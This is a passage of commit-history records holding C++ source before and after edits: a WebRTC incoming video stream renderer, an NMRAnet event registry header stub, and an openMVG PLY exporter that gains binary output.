cs(&stream_critsect_);\n  mirror_frames_enabled_ = enable;\n  mirroring_.mirror_x_axis = mirror_x_axis;\n  mirroring_.mirror_y_axis = mirror_y_axis;\n\n  return 0;\n}\n\nint32_t IncomingVideoStream::SetExpectedRenderDelay(\n    int32_t delay_ms) {\n  CriticalSectionScoped csS(&stream_critsect_);\n  if (running_) {\n    WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n                 \"%s(%d) for stream %d\", __FUNCTION__, delay_ms, stream_id_);\n    return -1;\n  }\n  CriticalSectionScoped cs(&buffer_critsect_);\n  return render_buffers_.SetRenderDelay(delay_ms);\n}\n\nint32_t IncomingVideoStream::SetExternalCallback(\n    VideoRenderCallback* external_callback) {\n  CriticalSectionScoped cs(&stream_critsect_);\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s(%x) for stream %d\", __FUNCTION__, external_callback,\n               stream_id_);\n  external_callback_ = external_callback;\n  callbackVideoType_ = kVideoI420;\n  callbackWidth_ = 0;\n  callbackHeight_ = 0;\n  return 0;\n}\n\nint32_t IncomingVideoStream::Start() {\n  CriticalSectionScoped csS(&stream_critsect_);\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s for stream %d\", __FUNCTION__, stream_id_);\n  if (running_) {\n    WEBRTC_TRACE(kTraceWarning, kTraceVideoRenderer, module_id_,\n                 \"%s: Already running\", __FUNCTION__);\n    return 0;\n  }\n\n  CriticalSectionScoped csT(&thread_critsect_);\n  assert(incoming_render_thread_ == NULL);\n\n  incoming_render_thread_ = ThreadWrapper::CreateThread(\n      IncomingVideoStreamThreadFun, this, kRealtimePriority,\n      \"IncomingVideoStreamThread\");\n  if (!incoming_render_thread_) {\n    WEBRTC_TRACE(kTraceError, kTraceVideoRenderer, module_id_,\n                 \"%s: No thread\", __FUNCTION__);\n    return -1;\n  }\n\n  unsigned int t_id = 0;\n  if (incoming_render_thread_->Start(t_id)) {\n    WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n                 \"%s: thread started: %u\", __FUNCTION__, t_id);\n  } else {\n    WEBRTC_TRACE(kTraceError, kTraceVideoRenderer, module_id_,\n                 \"%s: Could not start send thread\", __FUNCTION__);\n    return -1;\n  }\n  deliver_buffer_event_.StartTimer(false, KEventStartupTimeMS);\n\n  running_ = true;\n  return 0;\n}\n\nint32_t IncomingVideoStream::Stop() {\n  CriticalSectionScoped cs_stream(&stream_critsect_);\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s for stream %d\", __FUNCTION__, stream_id_);\n\n  if (!running_) {\n    WEBRTC_TRACE(kTraceWarning, kTraceVideoRenderer, module_id_,\n                 \"%s: Not running\", __FUNCTION__);\n    return 0;\n  }\n\n  thread_critsect_.Enter();\n  if (incoming_render_thread_) {\n    ThreadWrapper* thread = incoming_render_thread_;\n    incoming_render_thread_ = NULL;\n    thread->SetNotAlive();\n#ifndef WIN32_\n    deliver_buffer_event_.StopTimer();\n#endif\n    thread_critsect_.Leave();\n    if (thread->Stop()) {\n      delete thread;\n    } else {\n      assert(false);\n      WEBRTC_TRACE(kTraceWarning, kTraceVideoRenderer, module_id_,\n                   \"%s: Not able to stop thread, leaking\", __FUNCTION__);\n    }\n  } else {\n    thread_critsect_.Leave();\n  }\n  running_ = false;\n  return 0;\n}\n\nint32_t IncomingVideoStream::Reset() {\n  CriticalSectionScoped cs_stream(&stream_critsect_);\n  CriticalSectionScoped cs_buffer(&buffer_critsect_);\n  render_buffers_.ReleaseAllFrames();\n  return 0;\n}\n\nuint32_t IncomingVideoStream::StreamId() const {\n  CriticalSectionScoped cs_stream(&stream_critsect_);\n  return stream_id_;\n}\n\nuint32_t IncomingVideoStream::IncomingRate() const {\n  CriticalSectionScoped cs(&stream_critsect_);\n  return incoming_rate_;\n}\n\nbool IncomingVideoStream::IncomingVideoStreamThreadFun(void* obj) {\n  return static_cast<IncomingVideoStream*>(obj)->IncomingVideoStreamProcess();\n}\n\nbool IncomingVideoStream::IncomingVideoStreamProcess() {\n  if (kEventError != deliver_buffer_event_.Wait(KEventMaxWaitTimeMs)) {\n    thread_critsect_.Enter();\n    if (incoming_render_thread_ == NULL) {\n      \/\/ Terminating\n      thread_critsect_.Leave();\n      return false;\n    }\n\n    I420VideoFrame* frame_to_render = NULL;\n\n    \/\/ Get a new frame to render and the time for the frame after this one.\n    buffer_critsect_.Enter();\n    frame_to_render = render_buffers_.FrameToRender();\n    uint32_t wait_time = render_buffers_.TimeToNextFrameRelease();\n    buffer_critsect_.Leave();\n\n    \/\/ Set timer for next frame to render.\n    if (wait_time > KEventMaxWaitTimeMs) {\n      wait_time = KEventMaxWaitTimeMs;\n    }\n    deliver_buffer_event_.StartTimer(false, wait_time);\n\n    if (!frame_to_render) {\n      if (render_callback_) {\n        if (last_rendered_frame_.render_time_ms() == 0 &&\n            !start_image_.IsZeroSize()) {\n          \/\/ We have not rendered anything and have a start image.\n          temp_frame_.CopyFrame(start_image_);\n          render_callback_->RenderFrame(stream_id_, temp_frame_);\n        } else if (!timeout_image_.IsZeroSize() &&\n                   last_rendered_frame_.render_time_ms() + timeout_time_ <\n                       TickTime::MillisecondTimestamp()) {\n          \/\/ Render a timeout image.\n          temp_frame_.CopyFrame(timeout_image_);\n          render_callback_->RenderFrame(stream_id_, temp_frame_);\n        }\n      }\n\n      \/\/ No frame.\n      thread_critsect_.Leave();\n      return true;\n    }\n\n    \/\/ Send frame for rendering.\n    if (external_callback_) {\n      WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n                   \"%s: executing external renderer callback to deliver frame\",\n                   __FUNCTION__, frame_to_render->render_time_ms());\n      external_callback_->RenderFrame(stream_id_, *frame_to_render);\n    } else {\n      if (render_callback_) {\n        WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n                     \"%s: Render frame, time: \", __FUNCTION__,\n                     frame_to_render->render_time_ms());\n        render_callback_->RenderFrame(stream_id_, *frame_to_render);\n      }\n    }\n\n    \/\/ Release critsect before calling the module user.\n    thread_critsect_.Leave();\n\n    \/\/ We're done with this frame, delete it.\n    if (frame_to_render) {\n      CriticalSectionScoped cs(&buffer_critsect_);\n      last_rendered_frame_.SwapFrame(frame_to_render);\n      render_buffers_.ReturnFrame(frame_to_render);\n    }\n  }\n  return true;\n}\n\nint32_t IncomingVideoStream::GetLastRenderedFrame(\n    I420VideoFrame& video_frame) const {\n  CriticalSectionScoped cs(&buffer_critsect_);\n  return video_frame.CopyFrame(last_rendered_frame_);\n}\n\n}  \/\/ namespace webrtc\n<commit_msg>Fix double backslashes in incoming_video_stream.cc<commit_after>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/modules\/video_render\/incoming_video_stream.h\"\n\n#include <assert.h>\n\n#if defined(_WIN32)\n#include <windows.h>\n#elif defined(WEBRTC_LINUX)\n#include <sys\/time.h>\n#include <time.h>\n#else\n#include <sys\/time.h>\n#endif\n\n#include \"webrtc\/common_video\/libyuv\/include\/webrtc_libyuv.h\"\n#include \"webrtc\/modules\/video_render\/video_render_frames.h\"\n#include \"webrtc\/system_wrappers\/interface\/critical_section_wrapper.h\"\n#include \"webrtc\/system_wrappers\/interface\/event_wrapper.h\"\n#include \"webrtc\/system_wrappers\/interface\/thread_wrapper.h\"\n#include \"webrtc\/system_wrappers\/interface\/tick_util.h\"\n#include \"webrtc\/system_wrappers\/interface\/trace.h\"\n\nnamespace webrtc {\n\nIncomingVideoStream::IncomingVideoStream(const int32_t module_id,\n                                         const uint32_t stream_id)\n    : module_id_(module_id),\n      stream_id_(stream_id),\n      stream_critsect_(*CriticalSectionWrapper::CreateCriticalSection()),\n      thread_critsect_(*CriticalSectionWrapper::CreateCriticalSection()),\n      buffer_critsect_(*CriticalSectionWrapper::CreateCriticalSection()),\n      incoming_render_thread_(),\n      deliver_buffer_event_(*EventWrapper::Create()),\n      running_(false),\n      external_callback_(NULL),\n      render_callback_(NULL),\n      render_buffers_(*(new VideoRenderFrames)),\n      callbackVideoType_(kVideoI420),\n      callbackWidth_(0),\n      callbackHeight_(0),\n      incoming_rate_(0),\n      last_rate_calculation_time_ms_(0),\n      num_frames_since_last_calculation_(0),\n      last_rendered_frame_(),\n      temp_frame_(),\n      start_image_(),\n      timeout_image_(),\n      timeout_time_(),\n      mirror_frames_enabled_(false),\n      mirroring_(),\n      transformed_video_frame_() {\n  WEBRTC_TRACE(kTraceMemory, kTraceVideoRenderer, module_id_,\n               \"%s created for stream %d\", __FUNCTION__, stream_id);\n}\n\nIncomingVideoStream::~IncomingVideoStream() {\n  WEBRTC_TRACE(kTraceMemory, kTraceVideoRenderer, module_id_,\n               \"%s deleted for stream %d\", __FUNCTION__, stream_id_);\n\n  Stop();\n\n  \/\/ incoming_render_thread_ - Delete in stop\n  delete &render_buffers_;\n  delete &stream_critsect_;\n  delete &buffer_critsect_;\n  delete &thread_critsect_;\n  delete &deliver_buffer_event_;\n}\n\nint32_t IncomingVideoStream::ChangeModuleId(const int32_t id) {\n  CriticalSectionScoped cs(&stream_critsect_);\n  module_id_ = id;\n  return 0;\n}\n\nVideoRenderCallback* IncomingVideoStream::ModuleCallback() {\n  CriticalSectionScoped cs(&stream_critsect_);\n  return this;\n}\n\nint32_t IncomingVideoStream::RenderFrame(const uint32_t stream_id,\n                                         I420VideoFrame& video_frame) {\n  CriticalSectionScoped csS(&stream_critsect_);\n  WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n               \"%s for stream %d, render time: %u\", __FUNCTION__, stream_id_,\n               video_frame.render_time_ms());\n\n  if (!running_) {\n    WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n                 \"%s: Not running\", __FUNCTION__);\n    return -1;\n  }\n\n  \/\/ Mirroring is not supported if the frame is backed by a texture.\n  if (true == mirror_frames_enabled_ && video_frame.native_handle() == NULL) {\n    transformed_video_frame_.CreateEmptyFrame(video_frame.width(),\n                                              video_frame.height(),\n                                              video_frame.stride(kYPlane),\n                                              video_frame.stride(kUPlane),\n                                              video_frame.stride(kVPlane));\n    if (mirroring_.mirror_x_axis) {\n      MirrorI420UpDown(&video_frame,\n                       &transformed_video_frame_);\n      video_frame.SwapFrame(&transformed_video_frame_);\n    }\n    if (mirroring_.mirror_y_axis) {\n      MirrorI420LeftRight(&video_frame,\n                          &transformed_video_frame_);\n      video_frame.SwapFrame(&transformed_video_frame_);\n    }\n  }\n\n  \/\/ Rate statistics.\n  num_frames_since_last_calculation_++;\n  int64_t now_ms = TickTime::MillisecondTimestamp();\n  if (now_ms >= last_rate_calculation_time_ms_ + KFrameRatePeriodMs) {\n    incoming_rate_ =\n        static_cast<uint32_t>(1000 * num_frames_since_last_calculation_ \/\n                              (now_ms - last_rate_calculation_time_ms_));\n    num_frames_since_last_calculation_ = 0;\n    last_rate_calculation_time_ms_ = now_ms;\n  }\n\n  \/\/ Insert frame.\n  CriticalSectionScoped csB(&buffer_critsect_);\n  if (render_buffers_.AddFrame(&video_frame) == 1)\n    deliver_buffer_event_.Set();\n\n  return 0;\n}\n\nint32_t IncomingVideoStream::SetStartImage(\n    const I420VideoFrame& video_frame) {\n  CriticalSectionScoped csS(&thread_critsect_);\n  return start_image_.CopyFrame(video_frame);\n}\n\nint32_t IncomingVideoStream::SetTimeoutImage(\n    const I420VideoFrame& video_frame, const uint32_t timeout) {\n  CriticalSectionScoped csS(&thread_critsect_);\n  timeout_time_ = timeout;\n  return timeout_image_.CopyFrame(video_frame);\n}\n\nint32_t IncomingVideoStream::SetRenderCallback(\n    VideoRenderCallback* render_callback) {\n  CriticalSectionScoped cs(&stream_critsect_);\n\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s(%x) for stream %d\", __FUNCTION__, render_callback,\n               stream_id_);\n  render_callback_ = render_callback;\n  return 0;\n}\n\nint32_t IncomingVideoStream::EnableMirroring(const bool enable,\n                                             const bool mirror_x_axis,\n                                             const bool mirror_y_axis) {\n  CriticalSectionScoped cs(&stream_critsect_);\n  mirror_frames_enabled_ = enable;\n  mirroring_.mirror_x_axis = mirror_x_axis;\n  mirroring_.mirror_y_axis = mirror_y_axis;\n\n  return 0;\n}\n\nint32_t IncomingVideoStream::SetExpectedRenderDelay(\n    int32_t delay_ms) {\n  CriticalSectionScoped csS(&stream_critsect_);\n  if (running_) {\n    WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n                 \"%s(%d) for stream %d\", __FUNCTION__, delay_ms, stream_id_);\n    return -1;\n  }\n  CriticalSectionScoped cs(&buffer_critsect_);\n  return render_buffers_.SetRenderDelay(delay_ms);\n}\n\nint32_t IncomingVideoStream::SetExternalCallback(\n    VideoRenderCallback* external_callback) {\n  CriticalSectionScoped cs(&stream_critsect_);\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s(%x) for stream %d\", __FUNCTION__, external_callback,\n               stream_id_);\n  external_callback_ = external_callback;\n  callbackVideoType_ = kVideoI420;\n  callbackWidth_ = 0;\n  callbackHeight_ = 0;\n  return 0;\n}\n\nint32_t IncomingVideoStream::Start() {\n  CriticalSectionScoped csS(&stream_critsect_);\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s for stream %d\", __FUNCTION__, stream_id_);\n  if (running_) {\n    WEBRTC_TRACE(kTraceWarning, kTraceVideoRenderer, module_id_,\n                 \"%s: Already running\", __FUNCTION__);\n    return 0;\n  }\n\n  CriticalSectionScoped csT(&thread_critsect_);\n  assert(incoming_render_thread_ == NULL);\n\n  incoming_render_thread_ = ThreadWrapper::CreateThread(\n      IncomingVideoStreamThreadFun, this, kRealtimePriority,\n      \"IncomingVideoStreamThread\");\n  if (!incoming_render_thread_) {\n    WEBRTC_TRACE(kTraceError, kTraceVideoRenderer, module_id_,\n                 \"%s: No thread\", __FUNCTION__);\n    return -1;\n  }\n\n  unsigned int t_id = 0;\n  if (incoming_render_thread_->Start(t_id)) {\n    WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n                 \"%s: thread started: %u\", __FUNCTION__, t_id);\n  } else {\n    WEBRTC_TRACE(kTraceError, kTraceVideoRenderer, module_id_,\n                 \"%s: Could not start send thread\", __FUNCTION__);\n    return -1;\n  }\n  deliver_buffer_event_.StartTimer(false, KEventStartupTimeMS);\n\n  running_ = true;\n  return 0;\n}\n\nint32_t IncomingVideoStream::Stop() {\n  CriticalSectionScoped cs_stream(&stream_critsect_);\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s for stream %d\", __FUNCTION__, stream_id_);\n\n  if (!running_) {\n    WEBRTC_TRACE(kTraceWarning, kTraceVideoRenderer, module_id_,\n                 \"%s: Not running\", __FUNCTION__);\n    return 0;\n  }\n\n  thread_critsect_.Enter();\n  if (incoming_render_thread_) {\n    ThreadWrapper* thread = incoming_render_thread_;\n    incoming_render_thread_ = NULL;\n    thread->SetNotAlive();\n#ifndef WIN32_\n    deliver_buffer_event_.StopTimer();\n#endif\n    thread_critsect_.Leave();\n    if (thread->Stop()) {\n      delete thread;\n    } else {\n      assert(false);\n      WEBRTC_TRACE(kTraceWarning, kTraceVideoRenderer, module_id_,\n                   \"%s: Not able to stop thread, leaking\", __FUNCTION__);\n    }\n  } else {\n    thread_critsect_.Leave();\n  }\n  running_ = false;\n  return 0;\n}\n\nint32_t IncomingVideoStream::Reset() {\n  CriticalSectionScoped cs_stream(&stream_critsect_);\n  CriticalSectionScoped cs_buffer(&buffer_critsect_);\n  render_buffers_.ReleaseAllFrames();\n  return 0;\n}\n\nuint32_t IncomingVideoStream::StreamId() const {\n  CriticalSectionScoped cs_stream(&stream_critsect_);\n  return stream_id_;\n}\n\nuint32_t IncomingVideoStream::IncomingRate() const {\n  CriticalSectionScoped cs(&stream_critsect_);\n  return incoming_rate_;\n}\n\nbool IncomingVideoStream::IncomingVideoStreamThreadFun(void* obj) {\n  return static_cast<IncomingVideoStream*>(obj)->IncomingVideoStreamProcess();\n}\n\nbool IncomingVideoStream::IncomingVideoStreamProcess() {\n  if (kEventError != deliver_buffer_event_.Wait(KEventMaxWaitTimeMs)) {\n    thread_critsect_.Enter();\n    if (incoming_render_thread_ == NULL) {\n      \/\/ Terminating\n      thread_critsect_.Leave();\n      return false;\n    }\n\n    I420VideoFrame* frame_to_render = NULL;\n\n    \/\/ Get a new frame to render and the time for the frame after this one.\n    buffer_critsect_.Enter();\n    frame_to_render = render_buffers_.FrameToRender();\n    uint32_t wait_time = render_buffers_.TimeToNextFrameRelease();\n    buffer_critsect_.Leave();\n\n    \/\/ Set timer for next frame to render.\n    if (wait_time > KEventMaxWaitTimeMs) {\n      wait_time = KEventMaxWaitTimeMs;\n    }\n    deliver_buffer_event_.StartTimer(false, wait_time);\n\n    if (!frame_to_render) {\n      if (render_callback_) {\n        if (last_rendered_frame_.render_time_ms() == 0 &&\n            !start_image_.IsZeroSize()) {\n          \/\/ We have not rendered anything and have a start image.\n          temp_frame_.CopyFrame(start_image_);\n          render_callback_->RenderFrame(stream_id_, temp_frame_);\n        } else if (!timeout_image_.IsZeroSize() &&\n                   last_rendered_frame_.render_time_ms() + timeout_time_ <\n                       TickTime::MillisecondTimestamp()) {\n          \/\/ Render a timeout image.\n          temp_frame_.CopyFrame(timeout_image_);\n          render_callback_->RenderFrame(stream_id_, temp_frame_);\n        }\n      }\n\n      \/\/ No frame.\n      thread_critsect_.Leave();\n      return true;\n    }\n\n    \/\/ Send frame for rendering.\n    if (external_callback_) {\n      WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n                   \"%s: executing external renderer callback to deliver frame\",\n                   __FUNCTION__, frame_to_render->render_time_ms());\n      external_callback_->RenderFrame(stream_id_, *frame_to_render);\n    } else {\n      if (render_callback_) {\n        WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n                     \"%s: Render frame, time: \", __FUNCTION__,\n                     frame_to_render->render_time_ms());\n        render_callback_->RenderFrame(stream_id_, *frame_to_render);\n      }\n    }\n\n    \/\/ Release critsect before calling the module user.\n    thread_critsect_.Leave();\n\n    \/\/ We're done with this frame, delete it.\n    if (frame_to_render) {\n      CriticalSectionScoped cs(&buffer_critsect_);\n      last_rendered_frame_.SwapFrame(frame_to_render);\n      render_buffers_.ReturnFrame(frame_to_render);\n    }\n  }\n  return true;\n}\n\nint32_t IncomingVideoStream::GetLastRenderedFrame(\n    I420VideoFrame& video_frame) const {\n  CriticalSectionScoped cs(&buffer_critsect_);\n  return video_frame.CopyFrame(last_rendered_frame_);\n}\n\n}  \/\/ namespace webrtc\n<|endoftext|>"}
{"text":"<commit_before>\/** \\copyright\n * Copyright (c) 2013, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are  permitted provided that the following conditions are met:\n * \n *  - Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n *\n *  - Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file SimpleEventRegistry.hxx\n * A simple implementation of an NMRANet event registry.\n *\n * @author Balazs Racz\n * @date 19 Octover 2013\n *\/\n\n#ifndef _NMRANET_SimpleEventRegistry_hxx_\n#define _NMRANET_SimpleEventRegistry_hxx_\n\n#include \"nmranet\/NMRAnetEventRegistry.hxx\"\n\n\n\nclass SimpleEventRegistry : public NMRAnetEventRegistry, public EventHandler {\n public:\n\n\n\n\n\n};\n\n\n#endif  \/\/ _NMRANET_SimpleEventRegistry_hxx_\n<commit_msg>removes dead code.<commit_after><|endoftext|>"}
{"text":"<commit_before>\n\/\/ Copyright (c) 2015 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#ifndef OPENMVG_SFM_SFM_DATA_IO_PLY_HPP\n#define OPENMVG_SFM_SFM_DATA_IO_PLY_HPP\n\n#include \"openMVG\/sfm\/sfm_data_io.hpp\"\n\n#include <fstream>\n#include <iomanip>\n\nnamespace openMVG {\nnamespace sfm {\n\n\/\/\/ Save the structure and camera positions of a SfM_Data container as 3D points in a PLY ASCII file.\ninline bool Save_PLY(\n  const SfM_Data & sfm_data,\n  const std::string & filename,\n  ESfM_Data flags_part)\n{\n  const bool b_structure = (flags_part & STRUCTURE) == STRUCTURE;\n  const bool b_control_points = (flags_part & CONTROL_POINTS) == CONTROL_POINTS;\n  const bool b_extrinsics = (flags_part & EXTRINSICS) == EXTRINSICS;\n\n  if (!(b_structure || b_extrinsics || b_control_points))\n    return false; \/\/ No 3D points to display, so it would produce an empty PLY file\n\n  \/\/ Create the stream and check its status\n  std::ofstream stream(filename.c_str());\n  if (!stream.is_open())\n    return false;\n\n  bool bOk = false;\n  {\n    \/\/ Count how many views having valid poses:\n    IndexT view_with_pose_count = 0;\n    IndexT view_with_pose_prior_count = 0;\n    if (b_extrinsics)\n    {\n      for (const auto & view : sfm_data.GetViews())\n      {\n        view_with_pose_count += sfm_data.IsPoseAndIntrinsicDefined(view.second.get());\n      }\n\n      for (const auto & view : sfm_data.GetViews())\n      {\n        if (const sfm::ViewPriors *prior = dynamic_cast<sfm::ViewPriors*>(view.second.get()))\n        {\n            view_with_pose_prior_count += prior->b_use_pose_center_;\n        }\n      }\n    }\n\n    stream << std::fixed << std::setprecision (std::numeric_limits<double>::digits10 + 1);\n\n    stream << \"ply\"\n      << '\\n' << \"format ascii 1.0\"\n      << '\\n' << \"element vertex \"\n        \/\/ Vertex count: (#landmark + #GCP + #view_with_valid_pose)\n        << (  (b_structure ? sfm_data.GetLandmarks().size() : 0)\n            + (b_control_points ? sfm_data.GetControl_Points().size() : 0)\n            + view_with_pose_count\n            + view_with_pose_prior_count)\n      << '\\n' << \"property double x\"\n      << '\\n' << \"property double y\"\n      << '\\n' << \"property double z\"\n      << '\\n' << \"property uchar red\"\n      << '\\n' << \"property uchar green\"\n      << '\\n' << \"property uchar blue\"\n      << '\\n' << \"end_header\" << std::endl;\n\n      if (b_extrinsics)\n      {\n        for (const auto & view : sfm_data.GetViews())\n        {\n          \/\/ Export pose as Green points\n          if (sfm_data.IsPoseAndIntrinsicDefined(view.second.get()))\n          {\n            const geometry::Pose3 pose = sfm_data.GetPoseOrDie(view.second.get());\n            stream\n              << pose.center()(0) << ' '\n              << pose.center()(1) << ' '\n              << pose.center()(2) << ' '\n              << \"0 255 0\\n\";\n          }\n\n          \/\/ Export pose priors as Blue points\n          if (const sfm::ViewPriors *prior = dynamic_cast<sfm::ViewPriors*>(view.second.get()))\n          {\n            if (prior->b_use_pose_center_) {\n              stream\n                << prior->pose_center_(0) << ' '\n                << prior->pose_center_(1) << ' '\n                << prior->pose_center_(2) << ' '\n                << \"0 0 255\\n\";\n            }\n          }\n        }\n      }\n\n      if (b_structure)\n      {\n        \/\/ Export structure points as White points\n        const Landmarks & landmarks = sfm_data.GetLandmarks();\n        for ( const auto & iterLandmarks : landmarks )\n        {\n          stream\n            << iterLandmarks.second.X(0) << ' '\n            << iterLandmarks.second.X(1) << ' '\n            << iterLandmarks.second.X(2) << ' '\n            << \"255 255 255\\n\";\n        }\n      }\n\n      if (b_control_points)\n      {\n        \/\/ Export GCP as Red points\n        const Landmarks & landmarks = sfm_data.GetControl_Points();\n        for ( const auto & iterGCP : landmarks )\n        {\n          stream\n            << iterGCP.second.X(0) << ' '\n            << iterGCP.second.X(1) << ' '\n            << iterGCP.second.X(2) << ' '\n            << \"255 0 0\\n\";\n        }\n      }\n\n      stream.flush();\n      bOk = stream.good();\n      stream.close();\n  }\n  return bOk;\n}\n\n} \/\/ namespace sfm\n} \/\/ namespace openMVG\n\n#endif \/\/ OPENMVG_SFM_SFM_DATA_IO_PLY_HPP\n<commit_msg>[sfm] Export binary PLY files #733<commit_after>\n\/\/ Copyright (c) 2015 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#ifndef OPENMVG_SFM_SFM_DATA_IO_PLY_HPP\n#define OPENMVG_SFM_SFM_DATA_IO_PLY_HPP\n\n#include \"openMVG\/sfm\/sfm_data_io.hpp\"\n\n#include <fstream>\n#include <iomanip>\n\nnamespace openMVG {\nnamespace sfm {\n\n\/\/\/ Save the structure and camera positions of a SfM_Data container as 3D points in a PLY ASCII\/BIN file.\ninline bool Save_PLY\n(\n  const SfM_Data & sfm_data,\n  const std::string & filename,\n  ESfM_Data flags_part,\n  bool b_write_in_ascii = false\n)\n{\n  const bool b_structure = (flags_part & STRUCTURE) == STRUCTURE;\n  const bool b_control_points = (flags_part & CONTROL_POINTS) == CONTROL_POINTS;\n  const bool b_extrinsics = (flags_part & EXTRINSICS) == EXTRINSICS;\n\n  if (!(b_structure || b_extrinsics || b_control_points))\n    return false; \/\/ No 3D points to display, so it would produce an empty PLY file\n\n  \/\/ Create the stream and check its status\n  std::ofstream stream(filename.c_str(), std::ios::out | std::ios::binary);\n  if (!stream.is_open())\n    return false;\n\n  bool bOk = false;\n  {\n    \/\/ Count how many views having valid poses:\n    IndexT view_with_pose_count = 0;\n    IndexT view_with_pose_prior_count = 0;\n    if (b_extrinsics)\n    {\n      for (const auto & view : sfm_data.GetViews())\n      {\n        view_with_pose_count += sfm_data.IsPoseAndIntrinsicDefined(view.second.get());\n      }\n\n      for (const auto & view : sfm_data.GetViews())\n      {\n        if (const sfm::ViewPriors *prior = dynamic_cast<sfm::ViewPriors*>(view.second.get()))\n        {\n            view_with_pose_prior_count += prior->b_use_pose_center_;\n        }\n      }\n    }\n\n    stream << std::fixed << std::setprecision (std::numeric_limits<double>::digits10 + 1);\n\n    using Vec3uc = Eigen::Matrix<unsigned char, 3, 1>;\n\n    stream << \"ply\"\n      << '\\n' << \"format \"\n              << (b_write_in_ascii ? \"ascii 1.0\" : \"binary_little_endian 1.0\")\n      << '\\n' << \"comment generated by OpenMVG\"\n      << '\\n' << \"element vertex \"\n        \/\/ Vertex count: (#landmark + #GCP + #view_with_valid_pose)\n        << (  (b_structure ? sfm_data.GetLandmarks().size() : 0)\n            + (b_control_points ? sfm_data.GetControl_Points().size() : 0)\n            + view_with_pose_count\n            + view_with_pose_prior_count)\n      << '\\n' << \"property double x\"\n      << '\\n' << \"property double y\"\n      << '\\n' << \"property double z\"\n      << '\\n' << \"property uchar red\"\n      << '\\n' << \"property uchar green\"\n      << '\\n' << \"property uchar blue\"\n      << '\\n' << \"end_header\" << std::endl;\n\n      if (b_extrinsics)\n      {\n        for (const auto & view : sfm_data.GetViews())\n        {\n          \/\/ Export pose as Green points\n          if (sfm_data.IsPoseAndIntrinsicDefined(view.second.get()))\n          {\n            const geometry::Pose3 pose = sfm_data.GetPoseOrDie(view.second.get());\n            if (b_write_in_ascii)\n            {\n              stream\n                << pose.center()(0) << ' '\n                << pose.center()(1) << ' '\n                << pose.center()(2) << ' '\n                << \"0 255 0\\n\";\n            }\n            else\n            {\n              stream.write( reinterpret_cast<const char*> ( pose.center().data() ), sizeof( Vec3 ) );\n              stream.write( reinterpret_cast<const char*> ( Vec3uc(0, 255, 0).data() ), sizeof( Vec3uc ) );\n            }\n          }\n\n          \/\/ Export pose priors as Blue points\n          if (const sfm::ViewPriors *prior = dynamic_cast<sfm::ViewPriors*>(view.second.get()))\n          {\n            if (prior->b_use_pose_center_)\n            {\n              if (b_write_in_ascii)\n              {\n                stream\n                  << prior->pose_center_(0) << ' '\n                  << prior->pose_center_(1) << ' '\n                  << prior->pose_center_(2) << ' '\n                  << \"0 0 255\\n\";\n              }\n              else\n              {\n                stream.write( reinterpret_cast<const char*> ( prior->pose_center_.data() ), sizeof( Vec3 ) );\n                stream.write( reinterpret_cast<const char*> ( Vec3uc(0, 0, 255).data() ), sizeof( Vec3uc ) );\n              }\n            }\n          }\n        }\n      }\n\n      if (b_structure)\n      {\n        \/\/ Export structure points as White points\n        const Landmarks & landmarks = sfm_data.GetLandmarks();\n        for ( const auto & iterLandmarks 